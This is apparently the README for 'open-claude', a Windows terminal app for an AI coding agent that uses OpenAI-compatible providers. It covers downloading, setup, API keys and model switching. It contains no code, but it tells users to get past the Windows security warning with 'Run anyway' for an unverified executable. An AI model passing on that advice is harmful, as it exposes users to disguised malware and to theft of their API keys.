🤖 open-claude - Run Claude-style coding on Windows

🧭 What this app does

open-claude is a desktop-friendly terminal app that helps you work with an AI coding agent on Windows. It gives you a chat-like experience in the command line and can help with file edits, code changes, and step-by-step tasks.

It is built for people who want to:

• start the app with a few simple choices
• connect it to an OpenAI-compatible model
• keep project files and chat history in one place
• use a clean terminal interface without extra setup

📥 Download

1. Open the Releases page
2. Find the latest release
3. Download the Windows file for your computer
4. Open the file and run it

If you see more than one file, choose the one for Windows. For most users, this will be an .exe file or a Windows zip package.

🪟 Install on Windows

1. Download the release file

Go to the open-claude releases page and get the latest Windows build.

2. Save the file

Save it to a folder you can find later, such as:

• Downloads
• Desktop
• Documents

3. Open the file

• If you downloaded an .exe file, double-click it
• If you downloaded a .zip file, right-click it and choose Extract All, then open the app inside the extracted folder

4. Allow Windows to run it

If Windows asks for permission:

• choose More info
• then choose Run anyway

5. Start the app

A terminal window will open. Follow the first-run prompts to choose:

• your theme
• your model provider
• your model name

⚙️ First-time setup

When you launch open-claude for the first time, it will guide you through a few simple steps.

Choose a theme

Pick the look you want for the terminal. This changes how the app appears, not how it works.

Choose a model provider

open-claude works with OpenAI-compatible services. That means you can use services that speak the same API style.

Common choices include:

• OpenAI
• DeepSeek
• Groq
• local Ollama setups
• other compatible providers

Enter your API details

You may be asked for:

• API key
• API base URL
• model name

If you use a provider like OpenAI, copy the key from your account page and paste it when asked.

🚀 How to use it

After setup, you can start using open-claude from the terminal.

You can:

• ask for help with code
• edit files with guided steps
• run tasks from the command line
• switch models when needed
• keep working inside your project folder

Common ways to use it

• Open a project folder first
• Start open-claude in that folder
• Type your request in plain English
• Review the changes before you save them

🔄 Change models later

If you want to use a different model after setup, open the app and use the model command shown in the interface.

This is useful if you want to:

• try a faster model
• use a model with a larger context window
• switch to a different provider
• test local and cloud models in the same app

📁 Where files are stored

open-claude keeps its own files in your user folder:

• ~/.open-claude/

This folder can include:

• settings
• logs
• chat history
• session data

It does not use the same folder as the official Claude app, so the two can stay separate.

🖥️ Windows system needs

For a smooth run on Windows, use:

• Windows 10 or later
• a modern terminal window
• a stable internet connection for cloud models
• enough disk space for logs and saved sessions

If you use a local model, you may also need:

• more RAM
• more CPU power
• a local model server such as Ollama

🛠️ Common setup tips

If the app does not open

• make sure you downloaded the Windows file
• try running it again after extracting the zip
• check whether Windows blocked the file

If the model will not connect

• confirm your API key is correct
• check the base URL
• make sure the model name matches your provider
• confirm your internet connection works

If text looks strange in the terminal

• resize the terminal window
• use a modern terminal app
• switch the theme during first run

📌 What you can expect

open-claude gives you a full terminal-based coding assistant flow with:

• streaming output
• tool use
• multi-file edits
• model selection on first launch
• support for OpenAI-compatible APIs

It is made to feel like a focused coding helper for people who prefer the terminal over a browser.

🔐 File and data location

Your settings and session data stay in your profile folder, not in the project folder you work on. This helps keep your code projects clean and separate from app data.

🧩 Supported providers

You can connect open-claude to any provider that supports an OpenAI-style API, such as:

• OpenAI
• DeepSeek
• Groq
• Ollama
• compatible private endpoints

If your provider has a custom API address, use that address during setup.

📎 Download again if needed

If you need the file again, use the release page here:

Visit the open-claude Releases page

🪄 Quick start

1. Download the latest Windows build from the Releases page
2. Open or extract the file
3. Run open-claude
4. Pick a theme
5. Choose a model provider
6. Enter your API key and model name
7. Start working in your project folder

💡 Helpful use cases

• editing code with step-by-step help
• checking a project for bugs
• making small file changes
• asking for project guidance
• testing different AI models in one place

📚 Project name

open-claude

🔗 Main download link

Download from GitHub Releases